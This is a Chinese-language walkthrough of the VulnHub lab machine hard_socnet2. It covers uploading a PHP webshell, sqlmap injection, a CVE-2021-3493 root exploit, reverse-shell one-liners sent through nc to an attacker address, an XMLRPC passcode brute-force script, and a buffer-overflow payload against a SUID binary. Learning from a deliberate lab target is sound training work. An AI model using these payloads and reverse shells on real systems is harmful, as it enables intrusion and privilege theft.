打靶记录5——靶机hard_socnet2
靶机:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
目标:
- 取得root权限
涉及攻击方法
- 主机发现
- 端口扫描
- SQL注入
- 文件上传
- 蚁剑上线
- XMLRPC命令执行
- 逆向工程
- 动态调试
- 漏洞利用代码编写
方法
- CVE-2021-3493
- 缓冲器溢出漏洞
学习目标
- 希望通过今天学习的内容,把自己渗透攻击的视野打开,不要仅仅局限在Web层面上,Web渗透只是其中的一个方面,0day的话必须要掌握缓冲区溢出或者堆溢出这样的一些方法
排错
无法启动靶机,搜索VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task
解决:在虚拟机 “设置” -> “系统” -> “处理器” 中将处理器数设置为2个或以上。
参考链接:
- VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task_end kernel panic not syncing: attempted to kill th-CSDN博客
- Windows 11 下 Virtualbox 6.1.34 出现 End kernel panic - not syncing: attempted to kill the idle task_end kernel panic - not syncing: asynchronous serro-CSDN博客
靶机和Kali都桥接了还是没有IP就检查桥接的WiFi网卡的网段,和自己靶机、Kali设置的是否在同一个网段,检查了一个小时才发现>_<
靶机修改成这样,不要address了就可以了,ip a是什么就是什么,不用管ens33,偷来的图,懒得再截图了
主机发现
arp-scan -l
发现 192.168.31.131 就是靶机地址
端口扫描和服务发现
nmap -p- 192.168.31.131
全端口扫描
开了22、80、和8000端口
nmap -sV 192.168.31.131
查看服务
80端口可以正常访问
访问8000端口,发现GET方式不能访问,尝试POST、Options、PUT等方法都不行
先展示搁置,看看80端口的Web界面吧
有登陆界面也有注册页面,我们可以注册一个进去看看里面有什么功能可以利用,在真实渗透过程中建议注册虚假信息,否则可能被蓝队溯源找到就扣分了
admin账号说他运行了一个monitor.py文件,后续或许可以利用
我们随便输入的东西被放在了网站上
文件上传漏洞
在Profile
处可以在头像那里进行漏洞测试
我们尝试上传一个Webshell.php上去
<?phpeval($_POST['ant']);
?>
点击Upload Image上传,成功上传上去了,服务器并没有做任何过滤
右键图片复制图片的URL路径进行访问,浏览器成功解析
http://192.168.31.131/data/images/profiles/3.php
下载蚁剑Linux版
- AntSwordProject/AntSword-Loader: AntSword 加载器 (github.com)
- https://www.yuque.com/antswordproject/antsword/lmwppk
打开虚拟终端获得shell
SQL注入漏洞
在搜索框输入单引号或者双引号出现SQL报错,说明存在SQL注入漏洞
接下来拿出强大的Sqlmap,一把梭
先把数据包保存为一个文件 row
sqlmap -r row -p query
- -r 指定数据包
- -p 指定参数
爆库名
sqlmap -r row -p query --dbs
爆表名
sqlmap -r row -p query -D socialnetwork --tables
爆列名
sqlmap -r row -p query -D socialnetwork -T users --columns
获取用户邮箱账号和登录密码,在注入的过程中选择sqlmap
的hash
爆破功能爆破密码
登录admin账号后也没发现其他漏洞,还是文件上传漏洞,和前面没有区别
提权
方法一:CVE-2021-3493
直接在靶机上编译运行exp即可获得root的shell
- gcc exploit.c -o exp
- ./exp
信息收集:
lsb_release -a
利用蚁剑的文件上传功能将 exp.c 上传到 /tmp 目录下
通过蚁剑获取的shell不太行,所以我们再次通过nc
获得一个功能全面一点的shell,
这台靶机上的 nc 没有 -e 参数,
可以用nc串联
的方法,也可以用另外一种方法,参考博客:Vulnhub打靶记录:hard_socnet2 - C_CHL - 博客园 (cnblogs.com)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 4444 >/tmp/f
rm /tmp/f
: 这条命令尝试删除/tmp/f
文件。如果该文件存在,它将被删除。这是为了确保后续的命令正常工作。mkfifo /tmp/f
: 这条命令创建了一个名为/tmp/f
的命名管道(named pipe)。命名管道可以用作进程间通信的通道。cat /tmp/f|/bin/bash -i 2>&1
: 这条命令使用cat
命令读取来自/tmp/f
的输入,并将其作为输入提供给/bin/bash
(Bash shell)。通过-i
参数,Bash shell以交互模式启动,允许用户与其进行交互。nc 1.0.0.3 4444 >/tmp/f
: 这条命令使用nc
命令(netcat)建立到 IP 地址为1.0.0.3
、端口号为4444
的远程主机的网络连接。然后,它将所有网络连接的输入重定向到/tmp/f
文件中。从而和cat /tmp/f|/bin/bash -i 2>&1
的/tmp/f
形成一个回路,实现交互的作用。
mkfifo(make FIFO)不是一个函数,而是一个命令行工具。它用于在Linux和其他类Unix操作系统中创建FIFO(First-In, First-Out)命名管道。
FIFO是一种特殊类型的文件,用于实现进程间通信(IPC),其中数据按照写入的顺序被读取。FIFO提供了一种无关的进程通信方式,可以被多个进程同时读取和写入。
成功获取root
权限
方法二:缓冲器溢出漏洞
回到www用户,查看有什么用户
cat /etc/passwd
发现socnet
用户是有/bin/bash
的
cd 到 /home/socnet
目录下
peda
:为GDB设计的一个强大的插件add_record
:一个交互程序,根据你对问题的回答生成一个.txt
文件。monitor.py
:就是我们刚刚在后台看到的admin
用户上传的一个监控脚本。下面为官方文档链接和部分代码的审计
xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.4 文档
ps aux | grep monitor
发现monitor.py
确实在运行中
cat
一下 monitor.py
原来代码只接受XMLRPC
的请求方式,怪不得前面的GET方式不行
# 导入简单的XML-RPC服务器模块
import SimpleXMLRPCServer
import subprocess
import random# 生成一个随机的调试密码
debugging_pass = random.randint(1000,9999)# 函数:运行系统命令并返回输出
def runcmd(cmd):# 执行系统命令,并捕获输出和错误信息results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)output = results.stdout.read() + results.stderr.read()return output# 函数:获取CPU信息
def cpu():return runcmd("cat /proc/cpuinfo")# 函数:获取内存信息
def mem():return runcmd("free -m")# 函数:获取磁盘使用情况
def disk():return runcmd("df -h")# 函数:获取网络接口信息
def net():return runcmd("ip a")# 函数:安全执行系统命令(需要正确的调试密码)
def secure_cmd(cmd, passcode):if passcode == debugging_pass:return runcmd(cmd)else:return "Wrong passcode."# 创建一个XML-RPC服务器,监听在所有网络接口的8000端口
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
# 注册函数到XML-RPC服务器
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)# 开始运行XML-RPC服务器,接受和处理来自客户端的请求
server.serve_forever()
我们需要爆破出debugging_pass
,才能执行secure_cmd()
函数,因为只有这个函数的参数可控
爆破代码(URL记得加端口>_<):
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:for p in range(1000,10000):r = str(proxy.secure_cmd('whoami', p))if not "Wrong" in r:print(p)print(r)break
反弹Shell
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 5555 >/tmp/f "r = str(proxy.secure_cmd(cmd, 5038 ))print(r)
成功获得了socnet@socnet2:~
账号的Shell,为了更具有交互性,使用python升级一下Shell
python -c "import pty; pty.spawn('/bin/bash')"
先看一下文件,发现具有suid
和sgid
权限,所以猜测作者是要我们通过这个文件的漏洞来提权
file add_record
运行add_record
会在当前目录生成一个.txt
文件
- python peda 是一个基于python的
gdb
的调试脚本,通过这个脚本可以以一种比较友好、比较直观的方式来对应用程序进行gdb动态调试
有gdb,所以可能存在内存溢出的漏洞
可能可以发现应用中存在的内存溢出或者堆溢出漏洞,进而利用漏洞来实现本地的提权
gdb -q
参数,安静模式运行
r
让程序真正运行起来
在做内存溢出相应的测试的时候,通常业界会有一个习惯,通常测试时向每一个提交位置输入大量的字母A
去测试,监视内存的变化,如果该变量存在缓冲区溢出漏洞导致了内存溢出,覆盖到了其他的寄存器位置的话,那么就可以判断其他寄存器位置里面的数据是否都是A
,通过结果迹象来判断我们注入的数据是否成功的溢出到了其他的寄存器里面,进而通过进一步的探测去修改这些寄存器里面的具体位置的具体值,进而实现最终的代码加载执行
python3 -c "print('A'*100)"
在Explain:
处输入A
产生了溢出
在缓冲器溢出漏洞里,我们主要注意EIP
这个寄存器,因为EIP
寄存器当中保存的数据是CPU接下来要去运行的下一条指令的内存地址的编号
我们不知道是哪几个A的话,通过pattern create 100
来生成一个特征字符串(这里面每四个字符都是唯一的),然后再运行程序,输入特征字符
然后用pattern search
来找出 EIP
寄存器的位置,看到前62位之后是EIP,那么EIP就是第63位开始的
然后通过python3 -c "print('A' * 62 + 'BCDE')"
生成字符串
再次运行程序,输入字符串
说明我们的计算的正确的,并且确定该程序存在缓冲区溢出漏洞。
查看汇编代码
disas main
call
:在汇编代码中表示程序即将调用的函数push
:用于将地址压入到栈中fopen@plt
:是一个函数符号,它是一个指向函数的指针用来打开一个文件。当程序调用fopen时,它实际上调用了fopen@plt。这是因为在动态链接库中,函数的地址是在运行时解析的,而不是在编译时解析的。@plt是一个过程链接表(PLT)项,它是动态链接器用来解析函数地址的一部分,也就是说函数后面有 @plt的基本就是系统自带的库函数。
我们可以下断点调试,输入break *0x08048728
,r
继续运行,s
单步执行,每次只执行一个CPU的指令,del 1
可以删除断点,c
可以让程序继续执行
发现vuln
函数后面没有plt
,说明它不是系统内嵌的函数,而是软件开发者自己写的函数,很可疑
输入info func
查看应用都有哪些函数
- system@plt:system函数在汇编语言中的作用是来执行一些操作系统指令,有点类似于php语言里面的
exec
- setuid@plt:接受一个参数
uid
,表示要设置的用户ID,它会尝试将当前进程的有效用户ID设置为指定的值。和add_reocrd
具有suid
权限相呼应
通过这两个函数,可以大概猜测add_record这个小程序中是存在一些调用操作系统指令的功能
查看一下vuln
函数,输入disas vuln
在汇编代码中出现了 strcpy
函数。这个函数是不对输入的长度进行限定的,会导致空间的溢出,由此我们基本可以判断出缓冲区漏洞的产生原因就是该函数 vuln
中的 strcpy
函数。
接下来查看backdoor函数,输入disas backdoor
代码看起来是请求到了suid
的权限,然后去执行一下system
操作系统的指令
在主程序当中会调用到vuln
函数,而vuln
又会调用系统内嵌的那个存在漏洞的函数strcpy
,当输入一些特殊字符的时候就到导致缓冲区漏洞的出现
但是主函数里面没有调用backdoor
函数,所以我们必须利用主程序里加载的vuln
函数,通过对它进行缓冲器溢出漏洞,向EIP
寄存器里面写入backdoor
函数的起始内存加载地址,进而通过它的漏洞,让它去执行backdoor
函数,让backdoor
函数去执行suid
函数、system
函数,进而执行到system
函数里要执行的操作系统的命令
我们看看能不能注入更多的payload,进而通过它实现本地提权的目标
发现BCDE是一个从左到右的顺序,但是从内存当中的十六进制数据0x45444342
来讲的话,它的顺序是颠倒的(42就是B的ASCII编码,以此类推),专业术语来说就是CPU架构的大头和小头的概念
所以我们想把backdoor
函数的的起始内存地址写入到EIP
寄存器里面的话,就必须也按照颠倒的顺序来写入,否则的话那个地址没有办法正确的指向backdoor
函数所在的内存地址
所以我们再次查看backdoor
函数的内存地址,输入disas backdoor
为了将payload一次性输入到add_record
小程序中,编写代码,前面的1是输入姓名,工作年限,薪资这些的,struct
模块可以倒转十六进制
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))"
然后在靶机里输出生成payload
文件,先q
退出gdb
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload
然后我们再用gdb
加载add_record
小程序,运行gdb -q ./add_record
,然后r < payload
输入payload
提示产生了一个新的进程,进程ID26479,这个新的程序是/bin/dash,另外一个进程是产生了一个/bin/bash
我们可以cat
一下payload
,然后将它通过管道输出给./add_record
-
- (横线)表示它
cat
出来的所有内容
- (横线)表示它
cat payload - | ./add_record
执行命令成功获得root权限
可以再执行一次反弹shell来获取一个交互性更好的Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 6666 >/tmp/f
总结
- 很多时候,我们在做像一下0day漏洞的挖掘,在执行缓冲器溢出漏洞发现的过程当中,都要执行大量动态的调试,去跟着大量的内存的变化,其实是非常枯燥的过程,所以在这个过程当中,我们可以使用一下比较自动化的工具。
- 漏洞产生过程:因为主程序里有一个
vuln
函数,而这个函数是有漏洞的的,而这个漏洞是来自于strcpy
这个内嵌的函数存在的一个缓冲区溢出漏洞,因为它调用了存在缓冲区溢出漏洞的函数,所以vuln
函数也就存在缓冲区溢出漏洞,而由于我们在Explain:
这个位置输入数据的时候,这个数据会导致vuln
函数的缓冲区溢出漏洞被我们触发,从而改写EIP
寄存器当中的具体地址,进而通过改写的地址将backdoor
函数在内存当中的内存地址给它写入到EIP
寄存器里,通过这种方法,通过vuln
函数的漏洞弱点加载了backdoor
函数,而backdoor
函数调用了system
这个系统命令,同时也调用了suid
,请求了suid
的权限,以这个程序属主的权限root
来运行这个程序,而system
函数最终请求CPU,执行/bin/bash
这个操作系统的shell
,从而利用这系列的漏洞,通过内存跟踪,查看分析汇编语言代码,最终找到了漏洞具体存在的位置,只要能够触发这个漏洞的执行,最终就会通过函数执行/bin/bash
,而这个/bin/bash
将是以root
权限来执行的
相关文章:
打靶记录5——靶机hard_socnet2
靶机: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova目标: 取得root权限 涉及攻击方法 主机发现端口扫描SQL注入文件上传蚁剑上线XMLRPC命令执行逆向工程动态调试漏洞利用代码编写 方法 CVE-2021-3493缓冲器溢出漏洞 学习目标 …...
独立站+TikTok达人:自主营销与创意内容的完美结合
在全球电商市场迅猛发展的今天,独立站和TikTok达人的结合正在创造一种全新的电商营销模式。独立站作为电商平台,其自主性和灵活性为商家提供了广阔的发展空间;而TikTok达人凭借其独特的内容创作能力和庞大的粉丝基础,成为推动销售…...
【启明智显分享】适用于多功能养生壶、茶吧机的2.8寸触摸彩屏解决方案
健康生活理念不断深入人心,多功能养生壶、茶吧机等智能产品成为现代家庭的热门小家电。为推动智能家居个性化、多样化发展,启明智显推出了基于SC05 Plus 2.8寸触摸彩屏的多功能养生壶、茶吧机的解决方案,旨在提升养生壶与茶吧机的用户体验与操…...
WAF绕过技术(PKAV团队)
目录 主流WAF的绕过技术 Web容器的特性 1. IIS+ASP的神奇% 2. IIS的Unicode编码字符 3. HPP(HTTP Parameter Pollution): HTTP参数污染 4. 畸形HTTP请求 Web应用层的问题 1. 多重编码问题 2. 多数据来源的问题 WAF自身的问题 1. 白名单机制 2. 数据获取方式存在缺陷…...
『 Linux 』POSIX 信号量与基于环形队列的生产者消费者模型
文章目录 信号量概念POSIX 信号量基于环形队列的生产者消费者模型基于环形队列的生产者消费者模型编码实现基于环形队列的生产者消费者模型发送任务测试 信号量概念 信号量是一种用于多线程或多进程间同步的机制; 其定义是一个整形变量,本质上信号量可以看成是一个计数器,用来描…...
python中的字符串方法
python中的字符串 举个例子先 name = 貂蝉开大 #声明了一个字符串 print(name) # 打印了一个字符串 print(name[0:1] #输出貂蝉 print(name[2:3] #输出开大 扩展方法 find() # 查找字符串中某个字符的索引 index_ = name.find("貂") print(index_) # 输出 …...
python实现consul的服务注册与注销
我在使用consul的时候主要用于prometheus的consul服务发现,把数据库、虚拟机信息发布到consul,prometheus通过consul拿到数据库、虚拟机信息去采集指标信息。 此篇文章前提是已经安装好consul服务以后,安装consul请参考二进制方式部署consul…...
校园选课助手【2】-重要的登录模块
用户登录模块技术要点: 密码通过MD5加密传输分布式session存储用户登录信息自定义注解进行字段校验自定义拦截器完成登录验证 下面依次给出代码和详细解释: 1.使用 MD5 二次加密用户登录信息,前端先通过密码加上盐进行MD5加密交给服务器&a…...
4章2节:从排序到分组和筛选,通过 R 的 dplyr 扩展包来操作
dplyr是R语言中一个强大且高效的数据处理包,专门设计用于处理数据框(data frames)。它的语法简洁明了,操作高效,尤其适用于大数据集。dplyr提供了一系列函数,使得数据的筛选、变换、聚合和排序等操作变得简单直观。本文将详细介绍dplyr扩展包如何进行数据的排序到分组和筛…...
C语言实现 -- 单链表
C语言实现 -- 单链表 1.顺序表经典算法1.1 移除元素1.2 合并两个有序数组 2.顺序表的问题及思考3.链表3.1 链表的概念及结构3.2 单链表的实现 4.链表的分类 讲链表之前,我们先看两个顺序表经典算法。 1.顺序表经典算法 1.1 移除元素 经典算法OJ题1:移除…...
WSL和Windows建立TCP通信协议
1.windows配置 首先是windows端,启动TCP服务端,用来监听指定的端口号,其中IP地址可以设置为任意,否则服务器可能无法正常打开。 addrSer.sin_addr.S_un.S_addr INADDR_ANY; recv函数用来接收客户端传输的数据,其中…...
Android Gradle开发与应用(一):Gradle基础
文章目录 引言一、Gradle简介二、Gradle基础语法1. 项目结构2. 插件应用3. 仓库与依赖4. 任务(Tasks) 三、Gradle在Android项目中的深入应用1. 构建变体(Build Variants)2. 依赖管理3. 自定义构建逻辑 四、Gradle WrapperGradle W…...
Linux多线程服务器编程-1-线程安全的对象生命期管理
对象的生与死不能由对象自身拥有的mutex(互斥器)来保护. 如何避免对象析构时可能存在的race condition(竞态条件)是C多线程编程面临的基本问题。 对象的销毁可能出现多种竞态条件(race condition): 在即将析构…...
Couchbase 技术详解
文章目录 Couchbase 原理数据模型数据分布数据访问与同步官网链接 基础使用安装与配置数据操作 高级使用数据分片与负载均衡数据索引与查询安全性与权限管理 优点高性能可扩展性高可用性灵活性 总结 Couchbase 是一个高性能、分布式、可扩展的 NoSQL 数据库系统,基于…...
PTE-信息收集
一、渗透测试流程 渗透测试通常遵循以下六个基本步骤: 前期交互:与客户沟通,明确测试范围、目标、规则等。信息收集:搜集目标系统的相关信息。威胁建模:分析目标系统可能存在的安全威胁。漏洞分析:对收集…...
委外订单执行明细表增加二开字段
文章目录 委外订单执行明细表增加二开字段业务背景业务需求方案设计详细设计扩展《委外订单执行明细表》扩展《委外订单执行明细过滤》创建插件,并实现报表逻辑修改创建插件,添加引用创建类,继承原数据源类ROExecuteDetailRpt报表挂载插件 委…...
“数字孪生+大模型“:打造设施农业全场景数字化运营新范式
设施农业是一个高度复杂和精细化管理的行业,涉及环境控制、作物生长、病虫害防治、灌溉施肥等诸多环节。传统的人工管理模式已经难以应对日益增长的市场需求和管理挑战。智慧农业的兴起为设施农业带来了新的机遇。将前沿信息技术与农业生产深度融合,实现农业生产的数字化、网络…...
zeppline 连接flink 1.17报错
Caused by: java.io.IOException: More than 1 flink scala jar files: /BigData/run/zeppelin/interpreter/flink/zeppelin-flink-0.11.1-2.12.jar,/BigData/run/zeppelin/interpreter/flink/._zeppelin-flink-0.11.1-2.12.jar 解决方案: 重新编译zepplin代码&…...
【机器视觉】【目标检测】【面试】独家问题总结表格
简述anchor free和anchor boxanchor free是对gt实际的左上和右下的点做回归,anchor box是对辅助框即锚框做回归说说对锚框的理解锚框是辅助框, 可以通过预设的长宽比设定,也可以通过k-means算法聚类数据集得到目标检测的指标MAP,FLOPS,FPS,参数量简述非极大值抑制(NMS)非极大…...
从零开始,快速打造API:揭秘 Python 库toapi的神奇力量
在开发过程中,我们常常需要从不同的网站获取数据,有时候还需要将这些数据转化成API接口提供给前端使用。传统的方法可能需要大量的时间和精力去编写代码。但今天我要介绍一个神奇的Python库——toapi,它可以让你在几分钟内创建API接口&#x…...
如何理解复信号z的傅里叶变换在频率v<0的时候恒为0,是解析信号
考虑例子2.12.1的说法。 首先我尝试解释第二个说法。需要注意一个事实是 实函数f的傅里叶变换F的实部是偶函数,虚部是奇函数。如图所示: 注意的是这个图中虽然是离散傅里叶变换的性质,但是对于一般的傅里叶变换的性质是适用的。 推导过程如下…...
大型赛事5G室内无线网络保障方案
大型活动往往才是国家综合实力的重要体现,其无线网络通信保障工作需融合各类新兴的5G业务应用,是一项技术难度高、方案复杂度高的系统工程。尤其在活动人员复杂、现场突发情况多、网络不稳定等情况下,如何形成一套高效、稳定的应急通信解决方…...
windows 2012域服务SYSVOL复制异常
这边文章是我多年前在BBS提问的,后来有高手回答,我把他保存了下来,最近服务器出现问题,终于有翻出来了!发出来希望能帮到更多人。 问题 我的环境,windows 2012。最近改了一些域策略,发现没有正…...
动态规划,蒙特卡洛,TD,Qlearing,Sars,DQN,REINFORCE算法对比
动态规划(Dynamic Programming, DP)通过把原问题分解为相对简单的子问题的方式求解复杂问题的方法。 动态规划的步骤 识别子问题:定义问题的递归解法,识别状态和选择。确定DP数组:确定存储子问题解的数据结构ÿ…...
HarmonyOS开发商城商品详情页
目录 一:功能概述 二:代码实现 三:效果图 一:功能概述 这一节,我们实现商品详情页的开发,具体流程就是在首页的商品列表点击商品跳转到商品详情页面,同时传递参数到该页面,通过参数调用商品详情接口在详情页展示商品的的详情信息。这里我们为了方便返回首页,在最顶…...
OS_操作系统的运行环境
2024.06.11:操作系统的运行环境学习笔记 第3节 操作系统的运行环境 3.1 操作系统引导3.2 操作系统内核3.2.1 内核资源管理3.2.2 内核基本功能 3.3 CPU的双重工作模式3.3.1 CPU处于用户态(目态)3.3.2 CPU处于内核态(管态) 3.4 特权…...
Maven下载和安装(详细版)
前言 Maven 的含义 Maven 是一个 java 项目管理 和构建工具,他可以定义项目结构,项目依托,并使用统一的方式进行自动化构建,是 java项目不可或缺的工具。 Maven 的 优点 1 提供 标准化的项目结构(具体规定了文件的…...
【优秀python大屏案例】基于python flask的前程无忧大数据岗位分析可视化大屏设计与实现
随着大数据和人工智能技术的迅猛发展,数据分析和可视化在各个行业中的应用越来越广泛。特别是在招聘领域,大数据分析不仅能够帮助企业更好地了解市场需求,还能为求职者提供科学的职业规划建议。本文探讨了基于Python Flask框架的前程无忧大数…...
简单的docker学习 第3章docker镜像
第3章 Docker 镜像 3.1镜像基础 3.1.1 镜像简介 镜像是一种轻量级、可执行的独立软件包,也可以说是一个精简的操作系统。镜像中包含应用软件及应用软件的运行环境。具体来说镜像包含运行某个软件所需的所有内容,包括代码、库、环境变量和配置文件等…...
jquery.ajax + antd.Upload.customRequest文件上传进度
前情提要:大文件分片上传,需要利用Upload的customRequest属性自定义上传方法。也就是无法通过给Upload的action属性赋值上传地址进行上传,所以Upload组件自带的上传进度条,也没法直接用了,需要在customRequest中加工一…...
温岭网站开发/朋友圈信息流广告投放价格
Exchange Server 2016 RTM 可以在 Windows Server 2012、Windows Server 2012 R2 和 Windows Server 2016 的标准版和企业版中进行部署安装,但 Exchange Server 2016 只支持完整 GUI 的 Windows Server 而不支持核心安装的系统,本文我们将对快速部署方式…...
企业级java电商网站开发/淘宝关键词排名查询工具免费
习题4-6 水仙花数 (20 分) 水仙花数是指一个N位正整数(N≥3),它的每个位上的数字的N次幂之和等于它本身。例如:153135333。 本题要求编写程序,计算所有N位水仙花数。 输入格式: 输入在一行中给出一个正整数N(3≤N≤…...
学校网站怎么建设/想学销售去哪培训
气候类 1、北京日均最低气温 var bj_temp_ low [-6,-4,3,10,16,21,24,23,17,9,1,-5]2、北京日均最高气温 var bj_temp_ hight [3,6,15,23,29,32,33,32,27,19,10,4]3、北京历史最高气温 var bj_temp_ max [24,19,29,34,38,38,39,36,32,28,24,28]4、北京历史最低气温 var …...
做网站大概要多久/网站空间
Vue组件更新我们之前有探讨过Vue的数据响应原理与nextTick的实现机制,除了这两项Vue还有一个很重要的知识点:就是组件更新。我们之前学习数据响应原理的时候曾经了解到我们的数据变化是可以被监听到的,在数据变更后,Vue会进行对应…...
网站空间数据库需要多大/厦门网站搜索引擎优化
Trie 定义: Trie (字典树)是一种用于实现字符串快速检索的多叉树结构。Trie的每个节点都拥有若于个字符指针,若在插入或检索字符串时扫描到一个字符c, 就沿着当前节点的C字符指针,走向该指针指向的节点。 初始化 一棵空Trie仅包含一个根节点…...
网站备案贵州电话/网站制作郑州
为什么80%的码农都做不了架构师?>>> 切记 导入头文件哦 .h #import "sys/utsname.h"(NSString *)getCurrentDeviceModel;//设备号 获取 (void)getDevicesInfo;//app相关信息 .m (NSString *)getCurrentDeviceModel {struct utsname systemI…...